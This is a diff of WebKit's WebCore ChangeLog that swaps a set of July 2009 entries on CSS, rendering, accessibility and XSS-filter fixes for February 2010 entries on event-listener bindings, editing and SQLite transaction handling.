-2009-07-23  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        [CSS3 Backgrounds and Borders] Add support for inset box shadows
-        https://bugs.webkit.org/show_bug.cgi?id=27582
-
-        Test: fast/box-shadow/inset.html
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::valueForShadow): Set the ShadowValue’s shadow style to 'inset'
-            as needed.
-
-        * css/CSSParser.cpp:
-        (WebCore::ShadowParseContext::ShadowParseContext): Added style and allowStyle
-            members. Initialize the allowStyle member.
-        (WebCore::ShadowParseContext::commitValue): Pass the style value to the
-            ShadowValue constructor. Reset allowStyle.
-        (WebCore::ShadowParseContext::commitLength): Update allowStyle.
-        (WebCore::ShadowParseContext::commitColor): Ditto.
-        (WebCore::ShadowParseContext::commitStyle): Added. Sets the style member and
-            updates the state.
-        (WebCore::CSSParser::parseShadow): Parse the 'inset' keyword.
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty): Get the style value from the
-            shadow value and pass it to the ShadowData constructor.
-
-        * css/ShadowValue.cpp:
-        (WebCore::ShadowValue::ShadowValue): Added style.
-        (WebCore::ShadowValue::cssText): Added style.
-
-        * css/ShadowValue.h:
-        (WebCore::ShadowValue::create): Added style.
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::blendFunc): Added a blend function for shadow styles. When blending
-            between normal and inset shadows, all intermediate values map to normal.
-        (WebCore::PropertyWrapperShadow::blend): Added normal style to the default
-            shadow.
-            
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::paintBoxShadow): Added a shadow style parameter,
-            which is passed through to RenderBoxModelObject::paintBoxShadow().
-
-        (WebCore::InlineFlowBox::paintBoxDecorations): Paint inset shadows on top of
-            the background.
-
-        * rendering/InlineFlowBox.h:
-
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::paintBoxDecorations): Paint inset shadows on top of the
-            background.
-
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::paintBoxShadow): Added a shadow style
-            parameter, and code to paint inset shadows.
-
-        * rendering/RenderBoxModelObject.h:
-
-        * rendering/RenderFieldset.cpp:
-        (WebCore::RenderFieldset::paintBoxDecorations): Paint inset shadows on top of
-            the background.
-
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::paintBoxDecorations): Ditto.
-
-        * rendering/RenderTableCell.cpp:
-        (WebCore::RenderTableCell::paintBoxDecorations): Ditto.
-
-        * rendering/style/ShadowData.h:
-        Added a ShadowStyle enum.
-        (WebCore::ShadowData::ShadowData): Add and initialize a style member.
+        (WebCore::JSDOMWindow::markChildren):
+        (WebCore::JSDOMWindow::addEventListener):
+        (WebCore::JSDOMWindow::removeEventListener): Updated to pass a wrapper
+        to the JSEventListener constructor.
 
-2009-07-23  Simon Fraser  <simon.fraser@apple.com>
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::JSEventListener):
+        (WebCore::JSEventListener::initializeJSFunction):
+        (WebCore::JSEventListener::invalidateJSFunction):
+        * bindings/js/JSEventListener.h:
+        (WebCore::JSEventListener::create):
+        (WebCore::JSEventListener::isolatedWorld):
+        (WebCore::JSEventListener::wrapper):
+        (WebCore::JSEventListener::setWrapper):
+        (WebCore::JSEventListener::jsFunction):
+        (WebCore::createJSAttributeEventListener): Implemented the back-pointer
+        described above. Refactored the jsFunction() accessor to return 0 if
+        the wrapper back-pointer is 0.
 
-        Fix the build with UNUSED_PARAM(frame) for when ENABLE(3D_RENDERING) is not defined.
+        * bindings/js/JSEventSourceCustom.cpp:
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSLazyEventListener.cpp:
+        (WebCore::JSLazyEventListener::JSLazyEventListener):
+        (WebCore::JSLazyEventListener::initializeJSFunction):
+        * bindings/js/JSLazyEventListener.h:
+        (WebCore::JSLazyEventListener::create):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::markChildren):
+        (WebCore::JSMessagePort::addEventListener):
+        (WebCore::JSMessagePort::removeEventListener):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+        (WebCore::JSNode::markChildren):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::addEventListener):
+        (WebCore::JSSVGElementInstance::removeEventListener):
+        * bindings/js/JSWebSocketCustom.cpp:
+        (WebCore::JSWebSocket::addEventListener):
+        (WebCore::JSWebSocket::removeEventListener):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::markChildren):
+        (WebCore::JSWorkerContext::addEventListener):
+        (WebCore::JSWorkerContext::removeEventListener):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::markChildren):
+        (WebCore::JSXMLHttpRequest::addEventListener):
+        (WebCore::JSXMLHttpRequest::removeEventListener):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::markChildren):
+        (WebCore::JSXMLHttpRequestUpload::addEventListener):
+        (WebCore::JSXMLHttpRequestUpload::removeEventListener): Updated to pass a wrapper
+        to the JSEventListener constructor.
 
-        * css/MediaQueryEvaluator.cpp:
-        (WebCore::transform_3dMediaFeatureEval):
 
-2009-07-23  Simon Fraser  <simon.fraser@apple.com>
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener): Updated to pass a wrapper
+        to the JSEventListener constructor.
+        (WebCore::getEventListenerHandlerBody): Updated for the fact that jsFunction()
+        is no longer a virtual accessor on the EventHandler base class.
 
-        Reviewed by Adele Peterson.
+        * bindings/scripts/CodeGeneratorJS.pm: Updated for the fact that jsFunction()
+        is no longer a virtual accessor on the EventHandler base class. Added a "JS"
+        to invalidateEventListeners and markEventListeners to clarify that these
+        actions are for JS event listeners only. Added a wrapper parameter to
+        invalidateEventListeners for the back-pointer check explained above.
 
-        3d-transforms media query needs to look check that accelerated compositing is enabled
-        https://bugs.webkit.org/show_bug.cgi?id=27621
-        
-        When evaluating a media query with '-webkit-transform-3d', we need to check the
-        runtime switch that toggles accererated compositing, and therefore 3D.
-        
-        No test because we can't disable the pref dynamically in DRT.
+        * dom/EventListener.h:
+        (WebCore::EventListener::invalidateJSFunction): ditto
 
-        * css/MediaQueryEvaluator.cpp:
-        (WebCore::transform_3dMediaFeatureEval):
+        * dom/EventTarget.h:
+        (WebCore::EventTarget::markJSEventListeners):
+        (WebCore::EventTarget::invalidateJSEventListeners): ditto
 
-2009-07-22  Ryosuke Niwa  <rniwa@webkit.org>
+2010-02-04  Tony Chang  <tony@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        execCommand('underline') can't remove <U> underlines
-        https://bugs.webkit.org/show_bug.cgi?id=20215
-
-        This patch adds support for u, s, and strike to implicitlyStyledElementShouldBeRemovedWhenApplyingStyle so that
-        WebKit can remove those presentational tags when necessary.
-        It also modifies StyleChange::init not to add "text-decoration: none".  Not only is this style meaningless
-        (does not override inherited styles) but it was also causing WebKit to generate extra spans with this style.
-
-        * css/CSSValueList.cpp:
-        (WebCore::CSSValueList::hasValue): True if the property contains the specified value
-        * css/CSSValueList.h: Updated prototype
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::StyleChange::init): No longer adds "text-decoration: none"
-        (WebCore::ApplyStyleCommand::implicitlyStyledElementShouldBeRemovedWhenApplyingStyle): Supports text-decoration-related elements
-
-2009-07-23  Jessie Berlin  <jberlin@apple.com>
-        
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27554
-        Expose the value of text-overflow in getComputedStyle.
-
-        Test: fast/css/getComputedStyle/getComputedStyle-text-overflow.html
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        Add text-overflow to the list of computedProperties.
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        Return the value of the text-overflow property.
-
-2009-07-23  Yongjun Zhang  <yongjun.zhang@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27510
-
-        [S60 QtWebKit] Don't put some intermediate generated files into the final mmp project
-        file for linking. This is a temporary workaround for qmake bug in Symbian port, should 
-        be reverted after qmake is fixed.
-
-        * WebCore.pro:
-
-2009-07-23  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        [V8] Fix an assert in running workers in Chrome.
-        https://bugs.webkit.org/show_bug.cgi?id=27620
-
-        The fix is to change V8DOMMap::removeAllDOMObjectsInCurrentThreadHelper
-        to do not call removeObjectsFromWrapperMap for certain types of DOM
-        objects that exist only in main thread.
-
-        * bindings/v8/V8DOMMap.cpp:
-        (WebCore::removeAllDOMObjectsInCurrentThreadHelper):
-
-2009-07-23  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27572
-        Implement support for background-attachment:local.
+        https://bugs.webkit.org/show_bug.cgi?id=25002
+        When inserting a new paragraph, avoid nesting empty divs.  When
+        pasting near the end of a paragraph, this prevents each paste
+        command for getting nested one level deeper.
 
-        Added new test fast/overflow/overflow-with-local-attachment.html.
+        Test: editing/inserting/paragraph-outside-nested-divs.html
 
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseFillProperty):
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        (WebCore::CSSPrimitiveValue::operator EFillAttachment):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::mapFillAttachment):
-        * css/CSSValueKeywords.in:
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
-        (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry):
-        * rendering/style/FillLayer.h:
-        (WebCore::FillLayer::attachment):
-        (WebCore::FillLayer::setAttachment):
-        (WebCore::FillLayer::hasFixedImage):
-        (WebCore::FillLayer::initialFillAttachment):
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::backgroundAttachment):
-        (WebCore::InheritedFlags::maskAttachment):
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
+        * editing/InsertParagraphSeparatorCommand.cpp:
+        (WebCore::highestVisuallyEquivalentDiv):
+        (WebCore::InsertParagraphSeparatorCommand::doApply):
 
-2009-07-23  Ryosuke Niwa  <rniwa@webkit.org>
+2010-02-04  Dumitru Daniliuc  <dumi@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        copyInheritableProperties and removeComputedInheritablePropertiesFrom should be deprecated
-        https://bugs.webkit.org/show_bug.cgi?id=27325
-
-        This patch deprecates copyInheritableProperties because it has been used for two different purposes:
-        1.  Calculating the typing style.
-        2.  Moving HTML subtrees and seeking to remove redundant styles.
-        These tasks should be broken out into two separate functions.  New code should not use this function.
-
-        It deletes removeComputedInheritablePropertiesFrom because it hasn't been used anywhere.
-
-        There is no test since the patch does not change any behavior.
-
-        * css/CSSComputedStyleDeclaration.cpp: removeComputedInheritablePropertiesFrom has been removed
-        (WebCore::CSSComputedStyleDeclaration::deprecatedCopyInheritableProperties): has been renamed from copyInheritableProperties
-        * css/CSSComputedStyleDeclaration.h: ditto
-        * editing/DeleteSelectionCommand.cpp: ditto
-        (WebCore::removeEnclosingAnchorStyle): ditto
-        (WebCore::DeleteSelectionCommand::saveTypingStyleState): ditto
-        * editing/EditCommand.cpp: ditto
-        (WebCore::EditCommand::styleAtPosition): ditto
-        * editing/RemoveFormatCommand.cpp: ditto
-        (WebCore::RemoveFormatCommand::doApply): ditto
-        * editing/ReplaceSelectionCommand.cpp: ditto
-        (WebCore::handleStyleSpansBeforeInsertion): ditto
-        (WebCore::ReplaceSelectionCommand::handleStyleSpans): ditto
-        * editing/markup.cpp: ditto
-        (WebCore::removeEnclosingMailBlockquoteStyle): ditto
-        (WebCore::removeDefaultStyles): ditto
-        (WebCore::createMarkup): ditto
-
-2009-07-22  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Audio element at default width shouldn't have time field.
-        https://bugs.webkit.org/show_bug.cgi?id=27589
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlTimeDisplayElement::setVisible): Make sure we don't
-        forget to remember the visibility if there is no renderer.
-
-2009-07-23  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27598 Clean up the 
-        AccessibilityObject class
+        1. Fix a bug in SQLiteTransaction: do not assume that COMMIT always
+        succeeds.
+        2. Jump straight to the transaction error callback when a
+        statement fails in a way that makes sqlite automatically rollback
+        the transaction.
+        3. Fix the code that handles the "quota reached" failure, as it is
+        one of the failures that lead to an automatic transaction
+        rollback.
 
-        Mostly this is just moving empty stubs into the header rather than 
-        muddying the cpp file with them. A few functions were made pure 
-        virtual.
+        https://bugs.webkit.org/show_bug.cgi?id=34280
 
-        * accessibility/AccessibilityObject.cpp:
-        (WebCore::AccessibilityObject::isARIAControl):
-        (WebCore::AccessibilityObject::clickPoint):
-        (WebCore::AccessibilityObject::documentFrameView):
-        (WebCore::AccessibilityObject::actionVerb):
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::intValue):
-        (WebCore::AccessibilityObject::layoutCount):
-        (WebCore::AccessibilityObject::doAccessibilityHitTest):
-        (WebCore::AccessibilityObject::focusedUIElement):
-        (WebCore::AccessibilityObject::firstChild):
-        (WebCore::AccessibilityObject::lastChild):
-        (WebCore::AccessibilityObject::previousSibling):
-        (WebCore::AccessibilityObject::nextSibling):
-        (WebCore::AccessibilityObject::parentObjectIfExists):
-        (WebCore::AccessibilityObject::observableObject):
-        (WebCore::AccessibilityObject::linkedUIElements):
-        (WebCore::AccessibilityObject::titleUIElement):
-        (WebCore::AccessibilityObject::ariaRoleAttribute):
-        (WebCore::AccessibilityObject::isPresentationalChildOfAriaRole):
-        (WebCore::AccessibilityObject::ariaRoleHasPresentationalChildren):
-        (WebCore::AccessibilityObject::roleValue):
-        (WebCore::AccessibilityObject::ariaAccessiblityName):
-        (WebCore::AccessibilityObject::ariaLabeledByAttribute):
-        (WebCore::AccessibilityObject::ariaDescribedByAttribute):
-        (WebCore::AccessibilityObject::accessibilityDescription):
-        (WebCore::AccessibilityObject::ariaSelectedTextDOMRange):
-        (WebCore::AccessibilityObject::axObjectCache):
-        (WebCore::AccessibilityObject::axObjectID):
-        (WebCore::AccessibilityObject::setAXObjectID):
-        (WebCore::AccessibilityObject::anchorElement):
-        (WebCore::AccessibilityObject::actionElement):
-        (WebCore::AccessibilityObject::boundingBoxRect):
-        (WebCore::AccessibilityObject::selectedTextRange):
-        (WebCore::AccessibilityObject::selectionStart):
-        (WebCore::AccessibilityObject::selectionEnd):
-        (WebCore::AccessibilityObject::url):
-        (WebCore::AccessibilityObject::selection):
-        (WebCore::AccessibilityObject::stringValue):
-        (WebCore::AccessibilityObject::title):
-        (WebCore::AccessibilityObject::helpText):
-        (WebCore::AccessibilityObject::textUnderElement):
-        (WebCore::AccessibilityObject::text):
-        (WebCore::AccessibilityObject::textLength):
-        (WebCore::AccessibilityObject::selectedText):
-        (WebCore::AccessibilityObject::accessKey):
-        (WebCore::AccessibilityObject::widget):
-        (WebCore::AccessibilityObject::widgetForAttachmentView):
-        (WebCore::AccessibilityObject::setFocused):
-        (WebCore::AccessibilityObject::setSelectedText):
-        (WebCore::AccessibilityObject::setSelectedTextRange):
-        (WebCore::AccessibilityObject::setValue):
-        (WebCore::AccessibilityObject::setSelected):
-        (WebCore::AccessibilityObject::makeRangeVisible):
-        (WebCore::AccessibilityObject::childrenChanged):
-        (WebCore::AccessibilityObject::addChildren):
-        (WebCore::AccessibilityObject::hasChildren):
-        (WebCore::AccessibilityObject::selectedChildren):
-        (WebCore::AccessibilityObject::visibleChildren):
-        (WebCore::AccessibilityObject::visiblePositionRange):
-        (WebCore::AccessibilityObject::visiblePositionRangeForLine):
-        (WebCore::AccessibilityObject::boundsForVisiblePositionRange):
-        (WebCore::AccessibilityObject::setSelectedVisiblePositionRange):
-        (WebCore::AccessibilityObject::visiblePositionForPoint):
-        (WebCore::AccessibilityObject::nextVisiblePosition):
-        (WebCore::AccessibilityObject::previousVisiblePosition):
-        (WebCore::AccessibilityObject::visiblePositionForIndex):
-        (WebCore::AccessibilityObject::indexForVisiblePosition):
-        (WebCore::AccessibilityObject::index):
-        (WebCore::AccessibilityObject::doAXRangeForLine):
-        (WebCore::AccessibilityObject::doAXRangeForIndex):
-        (WebCore::AccessibilityObject::doAXStringForRange):
-        (WebCore::AccessibilityObject::doAXBoundsForRange):
-        (WebCore::AccessibilityObject::updateBackingStore):
-
-2009-07-23  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by David Hyatt.
-
-        Fix of <rdar://4877658> Dragging from the area between the horizontal/vertical scrollbars when status bar is showing starts a selection and autoscroll.
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::handleMousePressEvent):
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::wheelEvent):
-        * platform/ScrollView.h:
-
-2009-07-23  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27581
-        Drop the prefix from the box-shadow property.
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        (WebCore::ShadowParseContext::commitLength):
-        (WebCore::cssPropertyID):
-        * css/CSSPropertyNames.in:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        * page/animation/AnimationBase.cpp:
-        (WebCore::ensurePropertyMap):
-
-2009-07-22  Viet-Trung Luu  <viettrungluu@gmail.com>
-
-        Reviewed by David Hyatt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27289
-        When a mouse click occurs on a scrollbar without a preceding mouse move
-        onto it, the release isn't handled correctly (since
-        EventHandler::m_lastScrollbarUnderMouse isn't set on mouse down, but
-        only on mouse move). (Side comment: That scrollbar-handling code
-        in EventHandler is ugly. It should be fixed properly.)
-
-        Tests: scrollbars/scrollbar-miss-mousemove.html
-               scrollbars/scrollbar-miss-mousemove-disabled.html
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::handleMousePressEvent):
-        (WebCore::EventHandler::handleMouseMoveEvent):
-        (WebCore::EventHandler::updateLastScrollbarUnderMouse):
-        * page/EventHandler.h:
-
-2009-07-23  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by David Levin.
-
-        Update WebCore/page/BarInfo.cpp to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27606
-
-        * page/BarInfo.cpp:
-        (WebCore::BarInfo::visible):
-
-2009-07-23  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by David Levin.
-
-        Update WebCore/page/Console.cpp to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27606
-
-        * page/Console.cpp:
-        (WebCore::printMessageSourceAndLevelPrefix):
-        (WebCore::Console::profile):
-        (WebCore::Console::time):
-
-2009-07-23  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        Fix crashes with the QObject bindings after garbage collection.
-
-        There is one QtInstance per wrapped QObject, and that QtInstance keeps
-        references to cached JSObjects for slots. When those objects get
-        deleted due to GC, then they becoming dangling pointers.
-
-        When a cached member dies, it is now removed from the QtInstance's
-        cache.
-
-        As we cannot track the lifetime of the children, we have to remove
-        them from QtInstance alltogether. They are not cached and were
-        only used for mark(), but we _want_ them to be subject to gc.
-
-        * bridge/qt/qt_instance.cpp:
-        (JSC::Bindings::QtInstance::~QtInstance): Minor coding style cleanup,
-        use qDeleteAll().
-        (JSC::Bindings::QtInstance::removeCachedMethod): New function, to
-        clean m_methods and m_defaultMethod.
-        (JSC::Bindings::QtInstance::mark): Avoid marking already marked objects.
-        (JSC::Bindings::QtField::valueFromInstance): Don't save children for
-        marking.
-        * bridge/qt/qt_instance.h: Declare removeCachedMethod.
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::QtRuntimeMethod::~QtRuntimeMethod): Call removeCachedMethod
-        with this on the instance.
-
-2009-07-23  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Mark Rowe.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27599
-        'const unsigned' in return value
-
-        Remove const modifier from unsigned return value, as it does not
-        make sense.
-
-        * dom/ErrorEvent.h:
-
-2009-07-22  Jens Alfke  <snej@chromium.org>
-
-        Reviewed by David Levin.
-
-        Bug 22784: Improve keyboard navigation of Select elements.
-        Home/End and PageUp/PageDn buttons do not do anything in drop down lists,
-        on non-Mac platforms.
-        https://bugs.webkit.org/show_bug.cgi?id=22784
-        http://code.google.com/p/chromium/issues/detail?id=4576
-
-        New test: LayoutTests/fast/forms/select-popup-pagekeys.html
+        * platform/sql/SQLiteDatabase.cpp:
+        (WebCore::SQLiteDatabase::isAutoCommitOn):
+        * platform/sql/SQLiteDatabase.h:
+        * platform/sql/SQLiteTransaction.cpp:
+        (WebCore::SQLiteTransaction::begin):
+        (WebCore::SQLiteTransaction::commit):
+        (WebCore::SQLiteTransaction::rollback):
+        (WebCore::SQLiteTransaction::transactionWasRolledBackBySqlite):
+        * platform/sql/SQLiteTransaction.h:
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::SQLTransaction):
+        (WebCore::SQLTransaction::runStatements):
+        (WebCore::SQLTransaction::runCurrentStatement):
+        (WebCore::SQLTransaction::handleCurrentStatementError):
+        (WebCore::SQLTransaction::deliverQuotaIncreaseCallback):
 
-        * dom/SelectElement.cpp:
-        (WebCore::nextValidIndex): 
-        New utility fn for traversing items of a select's list.
-        (WebCore::SelectElement::menuListDefaultEventHandler):
-        Added code to handle Home/End and PageUp/PageDn when ARROW_KEYS_POP_MENU is false.
+2010-02-04  Peter Kasting  <pkasting@google.com>
 
-2009-07-23  Xan Lopez  <xlopez@igalia.com>
+        Not reviewed, rollback.
 
-        Reviewed by Mark Rowe.
+        Rollback r54387, it doesn't fix builds and Chromium doesn't want this behavior.
 
-        Fix a couple of compiler warnings.
+        * platform/chromium/ScrollbarThemeChromiumMac.h:
 
-        * platform/graphics/cairo/ImageBufferCairo.cpp:
-        (copySurface):
-        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
-        (WebCore::SimpleFontData::containsCharacters):
+2010-02-04  Stephen White  <senorblanco@chromium.org>
 
-2009-07-22  Simon Hausmann  <simon.hausmann@nokia.com>
+        Unreviewed, build fix.
 
-        Rubber-stamped by David Levin.
+        Fix for Chromium/Mac after palindromic scrollbar change (54345).
 
-        Enable HTML5 Datagrid defines for the Qt build.
+        Covered by many layout tests.
 
-        * WebCore.pro:
+        * platform/chromium/ScrollbarThemeChromiumMac.h:
+        (WebCore::ScrollbarThemeChromiumMac::maxOverlapBetweenPages):
 
-2009-07-22  Adam Barth  <abarth@webkit.org>
+2010-02-04  Clemmitt Sigler  <cmsigler@gmail.com>
 
         Reviewed by David Levin.
 
-        [V8] Make Node wrappers go fast
-        https://bugs.webkit.org/show_bug.cgi?id=27597
-
-        Profiles indicate we're spending a lot of time asking whether we're on
-        the main thread when looking up DOM wrappers for Nodes, but there isn't
-        much point in doing that work because Nodes only exist on the main
-        thread.  I've also added an assert to keep us honest in this regard.
-
-        * bindings/v8/V8DOMMap.cpp:
-        (WebCore::):
-        (WebCore::getDOMNodeMap):
-        (WebCore::DOMData::getCurrent):
-        (WebCore::DOMData::getCurrentMainThread):
-
-2009-07-22  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Remove unneeded virtual destructor from ScriptSourceProvider
-        https://bugs.webkit.org/show_bug.cgi?id=27563
-
-        * bindings/js/ScriptSourceProvider.h:
-
-2009-07-22  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        execCommand('underline' / 'strikeThrough') doesn't work properly with multiple styles in text-decoration
-        https://bugs.webkit.org/show_bug.cgi?id=27476
-
-        executeStrikethrough and executeUnderline were toggling between "line-through" / "underline" and "none".
-        This patch adds executeToggleStyleInList that toggles a style in CSSValueList instead of toggling the entire value.
-        It modifies CSSComputedStyleDeclaration to return CSSValueList instead of CSSPrimitiveValue for text decorations,
-        and adds removeAll member function to CSSValueList.
-
-        Tests: editing/execCommand/toggle-text-decorations.html
-               fast/css/getComputedStyle/getComputedStyle-text-decoration.html
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::renderTextDecorationFlagsToCSSValue): Creates a CSSValueList
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Returns a CSSValueList instead of CSSValue
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue): Text decorations are space separated instead of comma separated
-        * css/CSSValueList.cpp:
-        (WebCore::CSSValueList::removeAll): Removes all values that match the specified value
-        * css/CSSValueList.h:
-        * editing/EditorCommand.cpp:
-        (WebCore::applyCommandToFrame): Apply style to a frame using specified command
-        (WebCore::executeApplyStyle): Uses applyCommandToFrame
-        (WebCore::executeToggleStyleInList): Uses applyCommandToFrame
-        (WebCore::executeToggleStyle): Toggles a style in CSSValueList
-        (WebCore::executeStrikethrough): Uses executeToggleStyleInList
-        (WebCore::executeUnderline): Uses executeToggleStyleInList
-
-2009-07-22  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27174
-        And
-        https://bugs.webkit.org/show_bug.cgi?id=26938
+        WebKitGTK doesn't build GtkLauncher when --enable-mathml is specified.
+        Updated WebCore/GNUmakefile.am to include needed files in build.
         
-        Code cleanup. Implements support for detecting attacks transformed by 
-        PHP Magic Quotes/PHP addslashes().
-
-        Tests: http/tests/security/xssAuditor/script-tag-addslashes-backslash.html
-               http/tests/security/xssAuditor/script-tag-addslashes-double-quote.html
-               http/tests/security/xssAuditor/script-tag-addslashes-null-char.html
-               http/tests/security/xssAuditor/script-tag-addslashes-single-quote.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::isInvalidCharacter):
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
-        (WebCore::XSSAuditor::canLoadObject):
-        (WebCore::XSSAuditor::normalize): Decodes HTML entities, removes backslashes,
-        and removes control characters that could otherwise cause a discrepancy between
-        the source code of a script and the outgoing HTTP parameters.
-        (WebCore::XSSAuditor::decodeURL):
-        (WebCore::XSSAuditor::decodeHTMLEntities):
-        (WebCore::XSSAuditor::findInRequest):
-        * page/XSSAuditor.h:
-
-2009-07-22  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        Null deref in JSObject::mark due to null xhr wrapper
-        https://bugs.webkit.org/show_bug.cgi?id=27565
-
-        Make event target binding for appcache and xhr behave in the same way as
-        it does for all other events.
-
-        No test as I couldn't make a testcase which was remotely reliable.
-
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-
-2009-07-22  Mads Ager  <ager@chromium.org>
-
-        Reviewed by David Levin.
-
-        Inform V8 of the amount of WebCore string memory it is keeping alive.
-        https://bugs.webkit.org/show_bug.cgi?id=27537
-
-        V8 uses external strings that are backed by WebCore strings. Since
-        the external strings themselves are small, V8 has no way of
-        knowing how much memory it is actually holding on to. With this
-        change, we inform V8 of the amount of WebCore string data it is
-        holding on to with external strings.
-
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::WebCoreStringResource::WebCoreStringResource):
-        (WebCore::WebCoreStringResource::~WebCoreStringResource):
-
-2009-07-22  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27562
-        Add the finalized versions of background-clip and background-origin.  Remove background-clip from
-        the background shorthand and have it be auto-set based off background-origin's value.
-
-        Three new tests added in fast/backgrounds/size
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSMutableStyleDeclaration.cpp:
-        (WebCore::CSSMutableStyleDeclaration::getPropertyValue):
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        (WebCore::CSSParser::parseFillShorthand):
-        (WebCore::CSSParser::parseFillProperty):
-        * css/CSSPropertyLonghand.cpp:
-        (WebCore::initShorthandMap):
-        * css/CSSPropertyNames.in:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        * css/CSSValueKeywords.in:
-
-2009-07-22  Jens Alfke  <snej@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Hook up V8 bindings for DataGrid elements.
-        https://bugs.webkit.org/show_bug.cgi?id=27383
-        http://code.google.com/p/chromium/issues/detail?id=16730
-
-        Tests: Enhanced LayoutTests/fast/dom/HTMLDataGridElement/*
-        to handle exceptions, check appropriate JS prototypes, and
-        test column-list's item() method as well as array-indexing.
-
-        * WebCore.gypi: Added new source files.
-        * bindings/scripts/CodeGeneratorV8.pm: Made GenerateBatchedAttributeData put #if's around conditional attributes.
-        * bindings/v8/DOMObjectsInclude.h: #include DataGrid headers.
